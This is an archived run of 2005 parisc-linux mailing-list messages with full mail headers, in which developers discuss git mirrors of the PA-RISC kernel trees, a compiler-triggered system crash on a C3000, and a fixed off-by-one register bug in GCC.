	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17707-08; Sat, 13 Aug 2005 09:42:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD7517D6C5;
	Sat, 13 Aug 2005 09:42:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB70F7D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 09:42:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17537-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 09:42:30 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 17C587D6C0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 09:42:30 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id j7DFgTA01864
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 11:42:29 -0400
X-Mailer: Evolution 2.0.4 (2.0.4-6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: p3GMYtNDeSEkT76WZHQhaXN1IGRvb4Ah
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23058

I used to run bitkeeper trees for the convenience of those who needed to
check bitkeeper on current parisc.  I've been a bit remiss since
bitkeeper went away, but I've finally got the parisc trees into git.
Like their prior bitkeeper counterparts, they're simply shadow copies of
the imported parisc patch sets, not full copies of our cvs tree
(primarily because keeping a full copy would be too much work and I
can't be bothered). Also, I only merge up to Linus' head when I feel
like it rather than every time he pushes something.

They're browseable here:

http://www.parisc-linux.org/cgi-bin/gitweb.pl

and available for download here:

rsync://www.parisc-linux.org/~jejb/git/parisc-2.6.git

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix git-checkout-cache segfault on parisc
Date: Sat, 13 Aug 2005 11:42:55 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20050813154255.GB23545@roadwarrior.mcmartin.ca>
References: <1123946972.5115.4.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623892 16361 80.91.229.3 (22 Nov 2014 02:38:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:12 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 15:44:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 13 Aug 2005 17:44:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F02A97D6CA;
	Sat, 13 Aug 2005 09:44:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17944-05; Sat, 13 Aug 2005 09:44:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B1507D6CC;
	Sat, 13 Aug 2005 09:44:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 147F07D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 09:44:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17944-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 09:44:39 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 807547D6C5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 09:44:39 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 7FB3917050;
	Sat, 13 Aug 2005 11:44:38 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28306-07; Sat, 13 Aug 2005 11:44:27 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 92EC61707B; Sat, 13 Aug 2005 11:44:27 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1934639809-52656d6f746546617454697265-494e424f582e4f7574626f78: 1123947808-0357678805695-v4.0.10
Content-Disposition: inline
In-Reply-To: <1123946972.5115.4.camel@mulgrave>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OHCMYg4NeSEkZr6WZHQhaXN1IGRvb8Cn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23059

On Sat, Aug 13, 2005 at 10:29:32AM -0500, James Bottomley wrote:
> This one I think is Linus' fault, so send him a brown paper bag with my
> complements ...
> 

Cool, thanks for catching this one, James. I looked into it a couple
months ago, but didn't see this obvious problem.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Sat, 13 Aug 2005 13:46:52 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <200508131746.j7DHkqNo009063@hiauly1.hia.nrc.ca>
References: <1123940428.5037.2.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623893 16364 80.91.229.3 (22 Nov 2014 02:38:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 17:47:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 13 Aug 2005 19:47:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17CD87D6D2;
	Sat, 13 Aug 2005 11:46:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18511-09; Sat, 13 Aug 2005 11:46:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 148507D6D3;
	Sat, 13 Aug 2005 11:46:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 408CB7D6D0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 11:46:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18511-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 11:46:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9BA887D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 11:46:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7DHkqnV009064; Sat, 13 Aug 2005 13:46:53 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7DHkqNo009063;
	Sat, 13 Aug 2005 13:46:52 -0400 (EDT)
In-Reply-To: <1123940428.5037.2.camel@mulgrave> from "James Bottomley" at Aug
	13, 2005 08:40:28 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QVeMYkZEeSEkS76WZHQhaXN1IGRvbwBp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23060

> On Fri, 2005-08-12 at 23:02 -0600, Grant Grundler wrote:
> > I expect this is the difference...I need to use the same g++ version.
> > Does someone want to hack a small test program that consumes
> > stack space until it bombs out becuase of the ulimit?
> 
> Here's a test program that does this:
> But the results are as expected (on 2.6.13-rc6-pa1):

It doesn't trigger the fault on my c3k with 2.6.13-rc3-pa1 either.

However,

cc1plus -O2 -ftemplate-depth-20000 inline4.C

consistently crashes my c3k.  There must be something more than
just running out of stack space.  Strangely, the system doesn't
crash when cc1plus is run under gdb.

dave@hiauly6:~/gnu/gcc-4.0/objdir/gcc$ ./cc1plus --version
GNU C++ version 4.1.0 20050813 (experimental) (hppa-linux)
        compiled by GNU C version 4.1.0 20050813 (experimental).
GGC heuristics: --param ggc-min-expand=30 --param ggc-min-heapsize=4096

Another TOC gave the following:

r2	0x1010c260	search_exception_tables+0x34
IIA	0x1020c76c	search_extable+0x10

I've seen this once before.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Sat, 13 Aug 2005 15:30:45 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200508131930.j7DJUjiT009503@hiauly1.hia.nrc.ca>
References: <200508131746.j7DHkqNo009063@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623893 16369 80.91.229.3 (22 Nov 2014 02:38:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:13 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 19:30:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 13 Aug 2005 21:30:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 651FF7D6D3;
	Sat, 13 Aug 2005 13:30:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19098-06; Sat, 13 Aug 2005 13:30:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEBAD7D6D6;
	Sat, 13 Aug 2005 13:30:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C4D37D6CD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 13:30:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19173-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 13:30:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B5CB37D689
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 13:30:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7DJUknV009504; Sat, 13 Aug 2005 15:30:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7DJUjiT009503;
	Sat, 13 Aug 2005 15:30:45 -0400 (EDT)
In-Reply-To: <200508131746.j7DHkqNo009063@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Aug 13, 2005 01:46:52 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ji+MYuE+eSEkf76WZHQhaXN1IGRvbwBG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23061

> However,
> 
> cc1plus -O2 -ftemplate-depth-20000 inline4.C
> 
> consistently crashes my c3k.

I tried this with builds of 2.6.13-rc6-pa1 with debian gcc-3.3, gcc-3.4
and gcc-4.0.  They all crash in the same manner.

I will send cc1plus by separate mail to anyone interested in trying to
duplicate this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: GCC not disabling the use fr31 even with
	-mdisable-fpregs.
Date: Sun, 7 Aug 2005 23:53:56 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200508080353.j783ruNq009002@hiauly1.hia.nrc.ca>
References: <20050807233503.GE9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623893 16375 80.91.229.3 (22 Nov 2014 02:38:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Aug 2005 03:54:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 08 Aug 2005 05:54:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 380B47D729;
	Sun,  7 Aug 2005 21:54:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01801-07; Sun, 7 Aug 2005 21:54:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DCAA7D707;
	Sun,  7 Aug 2005 21:54:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F4917D702
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 21:53:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01958-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Aug 2005 21:53:58 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B97827D6FF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 21:53:58 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j783rvnV009003; Sun, 7 Aug 2005 23:53:57 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j783ruNq009002;
	Sun, 7 Aug 2005 23:53:56 -0400 (EDT)
In-Reply-To: <20050807233503.GE9703@systemhalted.org> from "Carlos O'Donell"
	at Aug 7, 2005 07:35:08 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NLKEYv4UeSEkf76WZHQhaXN1IGRvb8B/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23062

> > > What is of real concern is the save/restore of fr31, when the compiler
> > > has been told to disable floating point registers.
> > 
> > There's a bug there:
> > 
> > #define CONDITIONAL_REGISTER_USAGE \
> > {                                               \
> >   int i;                                        \
> >   if (TARGET_DISABLE_FPREGS || TARGET_SOFT_FLOAT)\
> >     {                                           \
> >       for (i = FP_REG_FIRST; i < FP_REG_LAST; i++)\
> > 	fixed_regs[i] = call_used_regs[i] = 1;  \
> >     }                                           \
> > 
> > It looks like the '<' should be '<=".  It's not disabling the last
> > fpreg.
> 
> Aha! Zat is ze bug! :)

This is now fixed in all active gcc branches (3.4, 4.0 and head).  The
problem has been present since the hppa64 port was introduced (3.0).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Sat, 13 Aug 2005 21:32:00 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200508140132.j7E1W0KF011257@hiauly1.hia.nrc.ca>
References: <20050812180551.GA32609@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623893 16376 80.91.229.3 (22 Nov 2014 02:38:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Aug 2005 01:32:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 14 Aug 2005 03:32:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43C1C7D6C3;
	Sat, 13 Aug 2005 19:32:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20345-05; Sat, 13 Aug 2005 19:32:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0F507D6C4;
	Sat, 13 Aug 2005 19:32:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 15C9A7D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 19:32:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20345-02 for <parisc-linux@lists.parisc-linux.org>;
